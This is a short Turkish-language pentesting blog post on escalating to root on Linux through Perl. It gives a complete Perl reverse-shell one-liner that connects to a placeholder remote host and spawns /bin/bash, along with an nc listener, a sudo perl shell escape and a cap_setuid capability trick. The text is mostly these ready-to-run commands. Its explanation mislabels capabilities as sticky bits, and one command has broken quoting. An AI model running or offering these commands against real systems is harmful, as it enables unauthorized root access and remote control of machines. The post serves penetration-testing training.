Linux for Pentester: Perl Privilege Escalation
- İbrahim Mert COŞKUN

- Jan 26, 2022
- 1 min read
Updated: Jul 21, 2022
Hedef makinada bir diğer hak yükseltme işlemi söz konusu ise sistemde bulunan Perl sayesinde bundan yararlanabiliriz.
- Sudo izinlerini kontrol edelim;
--> sudo -l

- Kali makinasından listeneri açalım;
--> nc -lvnp 4445
Herhangi bir parola gerekmediği için root olacak perl betiğini çalıştıralım;
perl -e 'use Socket;$i="RHOST";$p=RPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'Listenere geri döndüğümüzde root olduğumuzu görüyoruz;

Bir diğer exploit yöntemi ise;
--> sudo perl -e exec "/bin/bash";'

Herhangi bir dosyaya herhangi bir yapışkan bit ayarlandığında, ayrıcalıklı ve ayrıcalıksız her kullanıcının bu dosyalara kolayca erişebiliriz, ancak güvenlik amacıyla, yalnızca sınırlı/tek kullanıcılı olanları paylaşmak veya bunlara erişmek istiyorsak;
which perl
cp $(which perl) /home/demo(kullanıcı)
setcap cap_setuid+ep /home/demo/perlAşağıdaki görüntüden, "demo" kullanıcısının "perl"i root olarak kolayca çalıştırabileceği ve bu nedenle perl kullanarak ayrıcalık yükseltme misyonumuzu başarıyla gerçekleştirmiş olduk.


Comments